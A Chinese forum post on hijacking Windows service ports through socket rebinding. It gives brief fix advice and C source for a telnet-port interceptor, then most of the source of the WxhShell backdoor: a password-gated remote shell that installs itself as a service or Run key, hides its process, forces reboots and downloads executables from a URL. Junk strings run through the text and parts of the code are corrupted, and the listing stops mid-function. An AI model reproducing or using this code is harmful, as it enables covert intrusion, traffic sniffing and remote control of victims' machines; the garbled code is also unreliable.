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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: fZka$ 4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9L7jYy=A#  
~A$y-Dt'  
  saddr.sin_family = AF_INET; _y5J]Yu`j  
 O3~7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @T@lHc  
q:ah%x[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s)9d\{  
wT@{=s,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }>$3B5}  
sX[k}=HCK  
  这意味着什么?意味着可以进行如下的攻击: -a\[`JHi  
!}I+)@~\w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ={[9kR i  
Ce`#J6lT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #Pr w2u  
)y"8Bx=x4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 UR<a7j"@2  
AXT(D@sI=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /w "h'u  
b;jr;I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hy wy(b3  
)PCh;P0C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }=$>w@mJ  
WlW7b.2.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Hkzx(yTi  
'1vm]+oM  
  #include Q|7l!YTzVu  
  #include < VrHWJo  
  #include JrNqS[c/  
  #include    pKNrEq  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *iiyU}x  
  int main() CXd/M~:!  
  { P={8qln,X  
  WORD wVersionRequested; vugGMP;D(  
  DWORD ret; :F`"CR^,  
  WSADATA wsaData; u`?v-   
  BOOL val; 0'zX6%  
  SOCKADDR_IN saddr; 7 V3r!y  
  SOCKADDR_IN scaddr; KvY1bMU!  
  int err; *|Bt!  
  SOCKET s; MHPh!  
  SOCKET sc; hp3 <HUU  
  int caddsize; hOj(*7__  
  HANDLE mt; O/Mx $Q3re  
  DWORD tid;   JyDg=%-$2  
  wVersionRequested = MAKEWORD( 2, 2 ); V)jF]u~g  
  err = WSAStartup( wVersionRequested, &wsaData ); E'+?7ZGWj  
  if ( err != 0 ) { Zonr/sA~  
  printf("error!WSAStartup failed!\n"); d*R('0z{  
  return -1; @XQItc<  
  } 8>AST,  
  saddr.sin_family = AF_INET; V(wANvH  
   'dJ(x  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0HPqoen$  
bwyj[:6l  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N}CeQ'l[R  
  saddr.sin_port = htons(23); .1YiNmW=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Jk} Dj0o  
  { D* QZR;D#.  
  printf("error!socket failed!\n"); p5`={'>-  
  return -1; AQjf\i  
  } wu~?P`  
  val = TRUE; _"h1#E  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ICD; a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -jk-ve  
  { =`E{QCW  
  printf("error!setsockopt failed!\n"); Ft<B[bQ  
  return -1; ycj\5+ g  
  } Rj!9pwvT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 75W@B}dZd  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WwF2Ry^a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cI (}  
Wxa</n8S[n  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Nq"J[l*+g  
  { bx:j`5Uj`  
  ret=GetLastError(); w=kW~gg  
  printf("error!bind failed!\n"); cceh`s=cU  
  return -1; ,;)_$%bHc  
  } qQp;i{X  
  listen(s,2); bY}:!aR<mK  
  while(1) bj ,cU)t0  
  { -9; XNp  
  caddsize = sizeof(scaddr); "5@\"L  
  //接受连接请求 se*!OiOt  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2Dw}o;1'  
  if(sc!=INVALID_SOCKET) X}ft7;Jpy  
  { D9%t67s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )QW p[bV  
  if(mt==NULL) ZmAo9>'Kg  
  { n+D93d9LP  
  printf("Thread Creat Failed!\n"); [! Zyp`:  
  break; !`0 El',gY  
  } 9w.ZXd  
  } /|p6NK;8L  
  CloseHandle(mt); -Ra-Ux  
  } /3j3'~0  
  closesocket(s); s[Whg!2~  
  WSACleanup(); *]*0uo  
  return 0; <2t%<<%  
  }   \pVNJ y$`<  
  DWORD WINAPI ClientThread(LPVOID lpParam) f0"_ {\  
  { HQGH7<=Om  
  SOCKET ss = (SOCKET)lpParam; [7Liken  
  SOCKET sc; KJi8LM  
  unsigned char buf[4096]; \[L|  
  SOCKADDR_IN saddr; "L+NN|  
  long num; J[al4e^  
  DWORD val; #L+ZHs~  
  DWORD ret; "{x+ \Z\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,:xses*7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,SH^L|I  
  saddr.sin_family = AF_INET; p9[gG\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !@[@&.  
  saddr.sin_port = htons(23); `{H!V~42  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <lP5}F87  
  { >!PCEw<i  
  printf("error!socket failed!\n"); p%-;hL!  
  return -1; wUKt$_]``  
  } >0S(se$  
  val = 100; Le2rc *T  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7`HKa@  
  { o?5;l`.L}  
  ret = GetLastError(); g 9AA)Ykp  
  return -1; B4{F)Zb  
  } & Tkl-{I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u-R;rf5%k  
  { 1AQ3<  
  ret = GetLastError(); I]Ws   
  return -1; (l}nwyh5  
  } G8lTIs4u;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =8A L>:_  
  { <])kO`+G  
  printf("error!socket connect failed!\n"); z_%}F':  
  closesocket(sc); / mwsF]Y  
  closesocket(ss); J<MuWgx&  
  return -1; KJW^pAj$B  
  } jdd3[  
  while(1) A'suZpL  
  { /X;! F>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7ZFd;-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +,UuJ6[n  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  / !aVv  
  num = recv(ss,buf,4096,0); GpXU&A'r  
  if(num>0) zU";\);  
  send(sc,buf,num,0); :nS p  
  else if(num==0) TNlS2b1  
  break; ~|&To >  
  num = recv(sc,buf,4096,0); ] uXmug  
  if(num>0) @5{h+^  
  send(ss,buf,num,0); D 4<,YBvV  
  else if(num==0) 9s#*~[E*  
  break; 3w8v.J8q  
  } K_-S`-eH  
  closesocket(ss); w_*$w Vl  
  closesocket(sc); &{S@v9~IT  
  return 0 ; b q8nV  
  } ,"Nb;Yhg  
wLKC6@ W  
3+8{Y  
========================================================== ?'U@oz8 B  
{4r }jH  
下边附上一个代码,,WXhSHELL OQ+kOE&  
lh-zE5;  
========================================================== nQ;M@k&9eV  
ZmS ]4WM<  
#include "stdafx.h" bq z*90  
K Vnz{cx`  
#include <stdio.h> JnS@}m  
#include <string.h> ]Uul~T  
#include <windows.h> (S8hr,%n  
#include <winsock2.h> mV|Z5= f  
#include <winsvc.h> ~Hvf"bvK|  
#include <urlmon.h> FrhI [D  
86 W.z6  
#pragma comment (lib, "Ws2_32.lib") A>rN.XW  
#pragma comment (lib, "urlmon.lib") 3-_`x9u*  
,@aF#  
#define MAX_USER   100 // 最大客户端连接数 ad`7[fI  
#define BUF_SOCK   200 // sock buffer =z#j9'n$@  
#define KEY_BUFF   255 // 输入 buffer g3c,x kaO  
m'U>=<!D  
#define REBOOT     0   // 重启 +GT"n$)+  
#define SHUTDOWN   1   // 关机  ?S'Wd=  
.x_F4#Ka  
#define DEF_PORT   5000 // 监听端口 }T"&4Rvs2R  
v\-7sgZR  
#define REG_LEN     16   // 注册表键长度 KA elq*  
#define SVC_LEN     80   // NT服务名长度 VujIKc#4  
m">2XGCn  
// 从dll定义API i)@H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vgN%vw pL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]QKKt vN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {  P@mAw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8:k-]+#o  
V BjA$.  
// wxhshell配置信息 4B@Ir)^(*  
struct WSCFG { >uwd3XW5  
  int ws_port;         // 监听端口 4)d"}j  
  char ws_passstr[REG_LEN]; // 口令 3u4P [   
  int ws_autoins;       // 安装标记, 1=yes 0=no XyD*V;.E  
  char ws_regname[REG_LEN]; // 注册表键名 {=,+;/0  
  char ws_svcname[REG_LEN]; // 服务名 R@2*Lgxz~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P=.T|l1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^TAf+C^Ry  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3e1^r_YI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T *rz#O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S{UEV7d:n0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M+WN\.2pX  
!gj_9"<  
}; &J,&>CFc  
8YO` TgW  
// default Wxhshell configuration T26'b .  
struct WSCFG wscfg={DEF_PORT, GhW{6.^  
    "xuhuanlingzhe", K&up1nZ@(  
    1, h%!,|[|  
    "Wxhshell", ~/;shs<9EM  
    "Wxhshell", V(F1i%9lg  
            "WxhShell Service", #./8inbG  
    "Wrsky Windows CmdShell Service", }M &hcw<  
    "Please Input Your Password: ", 1  Lz  
  1, Y"E*#1/  
  "http://www.wrsky.com/wxhshell.exe", N.-*ig.YR7  
  "Wxhshell.exe" Z"E2ZSa0  
    }; c@{M),C~E  
IaGF{O3.  
// 消息定义模块 59k-,lyU,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TJs~}&L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {#&jW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g]U! ]  
char *msg_ws_ext="\n\rExit."; 6bUcrw/# p  
char *msg_ws_end="\n\rQuit."; :CG;:( |  
char *msg_ws_boot="\n\rReboot..."; 43N=O FU  
char *msg_ws_poff="\n\rShutdown..."; 'Xg9MS&  
char *msg_ws_down="\n\rSave to "; ,<fs+oi  
#<yKG\X?  
char *msg_ws_err="\n\rErr!"; jNW/Biy4u  
char *msg_ws_ok="\n\rOK!"; TlJ'pG 4^  
+kT o$_Wkz  
char ExeFile[MAX_PATH]; 7QHrb'c  
int nUser = 0; o.])5i_HV  
HANDLE handles[MAX_USER]; jiP^Hz"e  
int OsIsNt; %R?#Y1Tq;  
3.@ir"vy  
SERVICE_STATUS       serviceStatus; D>K=D"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K<fB]44Y  
<ugy-vSv  
// 函数声明 tFX!s;N[  
int Install(void); W+#Zmvo  
int Uninstall(void); $rH}2  
int DownloadFile(char *sURL, SOCKET wsh); d2*uY.,  
int Boot(int flag); >C/O >g  
void HideProc(void); g>-u9%aa  
int GetOsVer(void); Yn8aTg[J  
int Wxhshell(SOCKET wsl); $i$Z+-W4'  
void TalkWithClient(void *cs); U9h@1:  
int CmdShell(SOCKET sock); :6W * ;<o  
int StartFromService(void); >{#QS"J#  
int StartWxhshell(LPSTR lpCmdLine); y-o54e$4Cq  
 nw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9~}.f1z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @T~~aQFk  
r8Z} mvLM  
// 数据结构和表定义 n hGh5,  
SERVICE_TABLE_ENTRY DispatchTable[] = t#=FFQOt  
{ YT)@&HaF  
{wscfg.ws_svcname, NTServiceMain}, #LfoG?k1K  
{NULL, NULL} D*!9K8<o  
}; %Sw hNn  
W4:#=.m  
// 自我安装 wE#z)2?`\  
int Install(void) Ky)*6QOw  
{ ^zR*s |1Q  
  char svExeFile[MAX_PATH]; vS G vv43G  
  HKEY key; S0tPnwco[~  
  strcpy(svExeFile,ExeFile);  B q7Qbj  
*w6(nG'M{  
// 如果是win9x系统,修改注册表设为自启动 _[ S<Cb*1  
if(!OsIsNt) { ;%PI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2~QN#u|UC3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P yN{  
  RegCloseKey(key); L*1yK*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { </|m^$v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b!z kQ?h  
  RegCloseKey(key); ]gDX~]f[  
  return 0; O8 5)^  
    } n!%'%%o2v  
  } X!f` !tZ:{  
} p-B |Gr|  
else { $'Qv {  
.a `ojT  
// 如果是NT以上系统,安装为系统服务 >jpk R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  $ 1v'CT  
if (schSCManager!=0) F+?g0w['  
{ NSQ#\:3:S  
  SC_HANDLE schService = CreateService 9v(k<('_  
  ( 01vKx)f  
  schSCManager, <6!/B[!O=  
  wscfg.ws_svcname, I=K|1  
  wscfg.ws_svcdisp, 6|]e}I@<2  
  SERVICE_ALL_ACCESS, Ogp@!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wU/BRz8I  
  SERVICE_AUTO_START, =\i{dj  
  SERVICE_ERROR_NORMAL, 4i(?5p>f  
  svExeFile, #\gx.2W7  
  NULL, t? [8k&Z  
  NULL, Y]H,rO  
  NULL, H]Vo XJ\*  
  NULL, 0Y9fK? (  
  NULL nBGcf(BE.$  
  ); R9O1#s^  
  if (schService!=0) Un\ T} c  
  { ^_JByB D  
  CloseServiceHandle(schService); Ep1p>s^  
  CloseServiceHandle(schSCManager); [PL]!\NJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YH'j"|{  
  strcat(svExeFile,wscfg.ws_svcname); aX|LEZ;D>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o/mGd~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YB"=eld  
  RegCloseKey(key); \Qei}5P,  
  return 0; z-?WU  
    } c_FnJ_++f  
  } & _mp!&5XV  
  CloseServiceHandle(schSCManager); 7aJ:kumDZ  
} [M&.'X  
} oE'Flc.  
=x} p>#o,J  
return 1; Q i\"b  
} )UAkg  
ZA'Qw2fF0  
// 自我卸载 )(l=_[1Z5  
int Uninstall(void) ~?uch8H  
{ qt4^e7o  
  HKEY key; 0'~Iv\s  
!r`/vQ #  
if(!OsIsNt) {  R]"3^k*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vJ0Zv> n-  
  RegDeleteValue(key,wscfg.ws_regname); fkJElO-F  
  RegCloseKey(key); TtP2>eh-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5FwVR3,  
  RegDeleteValue(key,wscfg.ws_regname); FP9FE `x  
  RegCloseKey(key); btWvoKO*  
  return 0; do=s=&T  
  } HiT j-O  
} > PONu]^  
} esK0H<]  
else { Ygfv?  
+~eybm;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #w&N) c>  
if (schSCManager!=0) %S]g8O[}nl  
{ wv&#lM(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V25u_R`{  
  if (schService!=0) }WEF *4B!  
  { c<]~q1  
  if(DeleteService(schService)!=0) { S)vNWBO  
  CloseServiceHandle(schService); =SLCG.  
  CloseServiceHandle(schSCManager); hO0g3^  
  return 0; G~KYFNHr  
  } f/{*v4!  
  CloseServiceHandle(schService); A,]%*kg2  
  } 6tv-PgZ  
  CloseServiceHandle(schSCManager); ioJr2wq6  
} Z^r? MX/  
} rxQ&N[r2  
]]8^j='P'  
return 1; W^N|+$g>H  
} |7%#z~rT  
<-F[q'!C1  
// 从指定url下载文件 ^>m"j6`h,  
int DownloadFile(char *sURL, SOCKET wsh) QV9 z81[  
{ jRNDi_u?Wb  
  HRESULT hr; )jHH-=JM  
char seps[]= "/"; eD?f|bif  
char *token; &AhkP=Yw  
char *file; zHk7!|%Y  
char myURL[MAX_PATH]; TI}Y U  
char myFILE[MAX_PATH]; q@Oe}  
*PF=dx<8  
strcpy(myURL,sURL); x5 ?>y{6D  
  token=strtok(myURL,seps); d .t$VRO  
  while(token!=NULL) ;)rXQm  
  { *g!7PzJ'  
    file=token; Qs7*_=+h  
  token=strtok(NULL,seps); x5%x""VEK  
  } G'f5MP 1  
C}Ucyzfr,p  
GetCurrentDirectory(MAX_PATH,myFILE); .+$ox-EK8  
strcat(myFILE, "\\"); )k6kK}  
strcat(myFILE, file); 'O[0oi&  
  send(wsh,myFILE,strlen(myFILE),0); h #(J6ht  
send(wsh,"...",3,0); D2MWrX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nV3I6  
  if(hr==S_OK) ^s_7-p])(  
return 0; `$i/f(t6`  
else sX,S]:X  
return 1; %2^wyVkq:  
?OF9{$m3?  
} =U,mzY (  
yrQf PR  
// 系统电源模块 s0*@zn>h  
int Boot(int flag) eq,`T;  
{ pgEDh^[MW  
  HANDLE hToken; NGVl/Qd  
  TOKEN_PRIVILEGES tkp; VQl(5\6O  
,'&H`h54  
  if(OsIsNt) { JUd Q Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y87oW_"h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xj;V  
    tkp.PrivilegeCount = 1; OmLe+,7'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *:V+whBY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z,7VOf6g  
if(flag==REBOOT) { 12HE =  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SkyX\&  
  return 0; hD9b2KZv  
} SaSj9\o  
else { "r[Ob]/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (0u(<qA\  
  return 0; 66-G)+4  
} R(p3* t&n  
  } 7mtX/w9  
  else { ! q5qA*  
if(flag==REBOOT) { OU'm0Jlk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5[Uv%A?H#_  
  return 0; \h5!u1{L  
} Sjo7NR^#e  
else { 5&TH\2u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {fa3"k_ke  
  return 0; P$5K[Y4f  
} VMH^jCFp  
} 20cEE>  
.JX9(#Uk  
return 1; MIdViS.g  
} ~}RfepM  
y-N]{!  
// win9x进程隐藏模块 Fx )BMP  
void HideProc(void) -Pc6W9$  
{ aKz:hG  
y3OF+;E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vp(ow]Q  
  if ( hKernel != NULL ) Ticx]_+~T  
  { bW^C30m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {BzE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t^~Qv  
    FreeLibrary(hKernel); XeX` h_  
  } d r$E:kr  
o>\o=%D.a  
return; pD;fFLvN  
} :f~qt%%/  
}/2M?W0  
// 获取操作系统版本 (9Q@I8}Iy  
int GetOsVer(void) %"^8$A?>,k  
{ e%C_>  
  OSVERSIONINFO winfo; $[\\{XJ.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nXw98;  
  GetVersionEx(&winfo); Z):Nd9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }CL7h;5N 3  
  return 1; oS^KC}X  
  else |=AaGJx  
  return 0; ]94`7@  
} U1O8u-X  
'OvM  
// 客户端句柄模块 !RSJb  
int Wxhshell(SOCKET wsl) m UUNR,  
{ nx{MUN7  
  SOCKET wsh; dozC[4mF  
  struct sockaddr_in client; \P7<q,OGS  
  DWORD myID; hkMVA  
yM Xf&$C  
  while(nUser<MAX_USER) wSi$.C2  
{ |Wr$5r  
  int nSize=sizeof(client); )+|Y;zC9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QD%!a{I  
  if(wsh==INVALID_SOCKET) return 1; q _Z+H4  
</2 aQn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O L 9(~p  
if(handles[nUser]==0) " =6kH,  
  closesocket(wsh); nJ h)iQu  
else Xw3j(`w$,  
  nUser++; a |#TnSk  
  } o59b#9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i` Q&5KL  
;8a9S0eS  
  return 0; T^vhhfCUr  
} ;GIA`=a %  
w[C*w\A\M  
// 关闭 socket E+lr{~  
void CloseIt(SOCKET wsh) Jv}&8D  
{ 51Vqbtj^  
closesocket(wsh); "6 ~5RCZ  
nUser--; <w`EU[y_  
ExitThread(0);  1D_&n@  
} -Nn< pq  
eph2&)D}Ep  
// 客户端请求句柄 <cU%yA710  
void TalkWithClient(void *cs) Tl2(%qB  
{ =#=}|Q}  
#p"$%f5Q_  
  SOCKET wsh=(SOCKET)cs; FbRGfHL[  
  char pwd[SVC_LEN]; tQas_K5  
  char cmd[KEY_BUFF]; @JGFG+J}  
char chr[1]; %uCsCl  
int i,j; |Z)}-'QUJ  
] E:NmBN<  
  while (nUser < MAX_USER) { @dx 8{oQ  
fvk(eWB  
if(wscfg.ws_passstr) { 6%}`!_N<Mc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U p6OCF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NfnPXsad  
  //ZeroMemory(pwd,KEY_BUFF); @T:J<,  
      i=0; *<X1M~p$  
  while(i<SVC_LEN) { ',K:.$My  
i I`vu  
  // 设置超时 rVP{ ^Jdo  
  fd_set FdRead; 'v9M``  
  struct timeval TimeOut; zw+RDo  
  FD_ZERO(&FdRead); D<|$ZuB4  
  FD_SET(wsh,&FdRead); XRO(p`OE-  
  TimeOut.tv_sec=8; < Sgc6>)  
  TimeOut.tv_usec=0; &>]U c%JK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6~Dyr82"B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uVKe?~RC  
`S0`3q}L3%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _QEw=*.<  
  pwd=chr[0]; ;|0P\3  
  if(chr[0]==0xd || chr[0]==0xa) { >I/@GX/  
  pwd=0; 4hc[ rN,]  
  break; Np%Q-T\  
  } K_~kL0=4  
  i++; a"X h  
    } r-go921  
6<T:B[a-  
  // 如果是非法用户,关闭 socket Il Qk W<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;S \s&.u  
} W@ &a  
FzcXSKHV %  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0|.jIix;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^b$_I31D  
(qvH=VTwP  
while(1) { jXLd#6  
9cHo~F|ur  
  ZeroMemory(cmd,KEY_BUFF); Rk7F;2  
.{\eco  
      // 自动支持客户端 telnet标准   qdn_ ZE  
  j=0; xT]t3'y|-  
  while(j<KEY_BUFF) { }dpTR9j=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K4jHha  
  cmd[j]=chr[0]; >}\s-/  
  if(chr[0]==0xa || chr[0]==0xd) { w%s];EE  
  cmd[j]=0; #-@Uq6Y  
  break; w7.,ch  
  } R~T}  
  j++; 5a'`%b{{  
    } g4b#U\D@)/  
.|^Gde  
  // 下载文件 &3Yj2 Fw  
  if(strstr(cmd,"http://")) { ah hl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *Z^`H!&  
  if(DownloadFile(cmd,wsh)) 8QK8q: |  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bXvO+I<  
  else tE_n>~Zs  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )ds]fvMW]N  
  } Yj1|]i5b  
  else { VC/-5'_6  
(;;ji!i  
    switch(cmd[0]) { ~HhB@G!3  
  )xccs'H  
  // 帮助 'E9{qPLk(  
  case '?': { Lv]%P.=[G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $] "M`h  
    break; `DF49YP"~  
  } ,AweHUEn  
  // 安装 4r7F8*z  
  case 'i': { Rlk3AWl2u  
    if(Install()) ~Ym _ {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qgj# k  
    else 6vsA8u(|V#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fMg9h9U  
    break; TLVsTM8 P  
    } ~q}L13^k  
  // 卸载 2I [zV7 @t  
  case 'r': { JkWhYP}  
    if(Uninstall()) %S;AM\o4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NOQ^HEi  
    else ,M.}Qak^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o& FOp'  
    break; rL1yq|]I  
    } HvG %##  
  // 显示 wxhshell 所在路径 [oV M9 Q  
  case 'p': { Pd~=:4  
    char svExeFile[MAX_PATH]; zp;!HP;/=  
    strcpy(svExeFile,"\n\r"); 1*u]v{JJ(  
      strcat(svExeFile,ExeFile); r[i^tIv6As  
        send(wsh,svExeFile,strlen(svExeFile),0); qIQ=OY=6  
    break; B223W_0"o  
    } (l^7EpNs  
  // 重启 O'wmhLa"W  
  case 'b': { )1 T2u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]}! @'+=  
    if(Boot(REBOOT)) iVn4eLK^v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JkJ @bh Eu  
    else { `^SRg_rH=`  
    closesocket(wsh); |qn 2b=  
    ExitThread(0); W:]2T p  
    } g= $U&Hgs  
    break; 8xO   
    } \,G9'c 'u  
  // 关机 1;$XX#7o  
  case 'd': { aYaEy(m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -i:WA^yKgw  
    if(Boot(SHUTDOWN)) XeI2 <=@%  
